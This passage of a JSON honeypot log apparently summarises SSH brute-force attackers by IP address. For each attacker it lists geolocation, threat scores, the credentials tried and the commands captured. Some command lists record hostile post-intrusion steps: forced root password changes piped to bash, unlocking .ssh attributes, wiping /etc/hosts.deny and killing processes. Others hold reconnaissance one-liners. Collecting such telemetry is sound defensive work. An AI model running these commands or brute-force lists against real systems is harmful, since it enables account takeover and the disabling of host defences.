      "passwords_attempted": [
        "!Welcome",
        "122222",
        "1234321",
        "123456789az",
        "1234@Abcd",
        "1Qa2Ws3Ed",
        "3245gs5662d34",
        "345gs5662d34",
        "Huawei2025",
        "Tf123456789",
        "ZAQ!xsw2CDE#",
        "abcd321",
        "admin#",
        "netapp",
        "qian",
        "qwer@1",
        "roooooot",
        "root@112233",
        "toiyeuvietnam",
        "tsserver"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:z4FbDoljxIds\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T10:20:03.225000+00:00",
        "last_seen_30d": "2026-03-28T12:29:05.132000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 64
      }
    },
    "165.232.105.11": {
      "attack_count": 150,
      "first_seen": "2026-03-11T02:46:36.628Z",
      "last_seen": "2026-03-11T03:15:01.189Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "admin123",
        "letmein",
        "password",
        "qwerty",
        "!root",
        "12345",
        "123456789",
        "P@ssw0rd",
        "Root123",
        "alpine",
        "changeme",
        "default",
        "passw0rd",
        "r00t",
        "root",
        "root123",
        "root@123",
        "rootme"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T02:46:36.628000+00:00",
        "last_seen_30d": "2026-03-11T03:16:06.199000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 66
      }
    },
    "14.248.82.58": {
      "attack_count": 144,
      "first_seen": "2026-03-24T02:24:01.166Z",
      "last_seen": "2026-03-24T03:01:07.225Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dasusr1",
        "345gs5662d34",
        "alyssa",
        "bert",
        "elastic",
        "gabriel",
        "jeus",
        "kk",
        "mohsen",
        "sky",
        "starbound",
        "ultra",
        "user6"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "111qqq...",
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "a123456@",
        "aa123456.",
        "dasusr1@123456",
        "mohsen@123456",
        "password",
        "sky123",
        "starbound"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"dasusr1@123456\\nqqH2yz1KSshc\\nqqH2yz1KSshc\\n\"|passwd",
        "echo -e \"dasusr1@123456\\nqqH2yz1KSshc\\nqqH2yz1KSshc\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T02:24:01.166000+00:00",
        "last_seen_30d": "2026-03-24T03:02:09.997000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 41
      }
    },
    "43.159.35.176": {
      "attack_count": 124,
      "first_seen": "2026-03-10T19:29:10.090Z",
      "last_seen": "2026-03-10T19:51:25.982Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "david",
        "345gs5662d34",
        "admin",
        "applmgr",
        "beehive",
        "chris",
        "clawd",
        "guillaume",
        "pp",
        "pzserver",
        "vpn",
        "youssef"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "adminadmin",
        "beehive123!",
        "chris1234",
        "david123!",
        "password",
        "pzserverpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"david123!\\n7ISL0nKc2tdf\\n7ISL0nKc2tdf\\n\"|passwd",
        "echo -e \"david123!\\n7ISL0nKc2tdf\\n7ISL0nKc2tdf\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T19:29:10.090000+00:00",
        "last_seen_30d": "2026-03-10T19:52:31.202000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "82.115.16.205": {
      "attack_count": 124,
      "first_seen": "2026-03-10T00:53:10.604Z",
      "last_seen": "2026-03-10T01:11:30.489Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "fangdaohong",
        "345gs5662d34",
        "clawd",
        "coolify",
        "developer",
        "iot",
        "maxim",
        "monitoring",
        "perforce",
        "sdtd",
        "su",
        "unity"
      ],
      "passwords_attempted": [
        "1234",
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Fangdaohong123",
        "Unity123!",
        "iot",
        "maxim123!",
        "monitoring1234",
        "perforce123!",
        "supass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Fangdaohong123\\nBjcc0OT2KHxF\\nBjcc0OT2KHxF\\n\"|passwd",
        "echo -e \"Fangdaohong123\\nBjcc0OT2KHxF\\nBjcc0OT2KHxF\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": null,
      "asn": 212552,
      "as_org": "BitCommand LLC",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T00:53:10.604000+00:00",
        "last_seen_30d": "2026-03-10T01:12:38.468000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "159.65.44.212": {
      "attack_count": 120,
      "first_seen": "2026-03-10T22:20:46.402Z",
      "last_seen": "2026-03-10T22:40:41.887Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "admin123",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T22:20:46.402000+00:00",
        "last_seen_30d": "2026-03-10T22:41:46.573000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 120,
        "Suricata": 51
      }
    },
    "121.229.191.90": {
      "attack_count": 119,
      "first_seen": "2026-03-17T17:45:27.267Z",
      "last_seen": "2026-03-28T15:18:20.263Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ax",
        "g",
        "java",
        "simeon",
        "test",
        "yan"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "ABC123!@#",
        "Asd@2024",
        "AsdQwe!23",
        "Pl123456.",
        "Test12!@",
        "Yg12345678",
        "axpass",
        "idrac123!@#",
        "java1234",
        "root10",
        "song1234",
        "tibia",
        "yan123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134756,
      "as_org": "CHINANET Nanjing Jishan IDC network",
      "threat_score": 40.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.9,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T17:45:27.267000+00:00",
        "last_seen_30d": "2026-03-28T15:19:24.501000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 74
      }
    },
    "66.253.43.127": {
      "attack_count": 119,
      "first_seen": "2026-03-08T13:22:58.484Z",
      "last_seen": "2026-03-08T13:42:19.994Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "syh",
        "345gs5662d34",
        "a",
        "edu",
        "git",
        "inversiones",
        "kapsch",
        "kipt",
        "ops"
      ],
      "passwords_attempted": [
        "password",
        "123321",
        "12345",
        "123456",
        "123456aA",
        "3245gs5662d34",
        "345gs5662d34",
        "Tencent@123",
        "edu123!",
        "inversiones123",
        "kipt123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nW7DALIENBGUq\\nW7DALIENBGUq\\n\"|passwd",
        "echo -e \"password\\nW7DALIENBGUq\\nW7DALIENBGUq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 5065,
      "as_org": "Bunny Communications",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T13:22:58.484000+00:00",
        "last_seen_30d": "2026-03-08T13:43:26.859000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "185.121.0.25": {
      "attack_count": 118,
      "first_seen": "2026-03-02T03:35:38.600Z",
      "last_seen": "2026-03-02T03:57:26.069Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!Q@W#E1q2w3e",
        "135790",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc_123456",
        "Founder@123",
        "Mm123123",
        "admin212",
        "demo",
        "nokia",
        "q123456",
        "qwertyuiop123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:7jNy7q28153q\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Tajikistan",
      "country_code": "TJ",
      "city": null,
      "asn": 196854,
      "as_org": "LLC Isatel Tajikistan",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:35:38.600000+00:00",
        "last_seen_30d": "2026-03-02T03:58:34.932000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "101.47.161.32": {
      "attack_count": 110,
      "first_seen": "2026-03-02T16:53:07.938Z",
      "last_seen": "2026-03-02T17:32:26.515Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Aa147258.",
        "As1234567",
        "Lh123456@",
        "Pa$$w0rd@2024",
        "admin2024",
        "ethan",
        "qwer1234.",
        "qwerty12345",
        "zxcZXC123!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"root:Wdk48vv76LUT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:53:07.938000+00:00",
        "last_seen_30d": "2026-03-02T17:33:27.970000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 110,
        "Suricata": 28
      }
    },
    "165.22.84.8": {
      "attack_count": 94,
      "first_seen": "2026-03-26T01:02:12.295Z",
      "last_seen": "2026-03-26T01:09:39.028Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "piuser",
        "345gs5662d34",
        "almacen",
        "live",
        "root",
        "taibabi"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Salam@123",
        "taibabipass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\n0SZJeTEI8FF9\\n0SZJeTEI8FF9\\n\"|passwd",
        "echo -e \"123\\n0SZJeTEI8FF9\\n0SZJeTEI8FF9\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T01:02:12.295000+00:00",
        "last_seen_30d": "2026-03-26T01:10:48.455000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 16
      }
    },
    "196.92.7.246": {
      "attack_count": 83,
      "first_seen": "2026-03-26T19:00:53.163Z",
      "last_seen": "2026-03-26T19:19:30.158Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "Admin123+",
        "Zxcvbnm123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:TK5214maTvM5\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:00:53.163000+00:00",
        "last_seen_30d": "2026-03-26T19:20:34.053000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 83,
        "Suricata": 13
      }
    },
    "64.227.187.53": {
      "attack_count": 56,
      "first_seen": "2026-03-03T13:54:25.441Z",
      "last_seen": "2026-03-03T14:03:41.011Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "123456789",
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:54:06.671000+00:00",
        "last_seen_30d": "2026-03-03T14:04:42.610000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 17
      }
    },
    "206.135.161.112": {
      "attack_count": 50,
      "first_seen": "2026-03-22T05:16:57.009Z",
      "last_seen": "2026-03-22T05:22:21.439Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T05:16:57.009000+00:00",
        "last_seen_30d": "2026-03-22T05:23:23.869000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.41.64": {
      "attack_count": 50,
      "first_seen": "2026-03-10T06:28:42.650Z",
      "last_seen": "2026-03-10T06:34:07.080Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T06:28:42.650000+00:00",
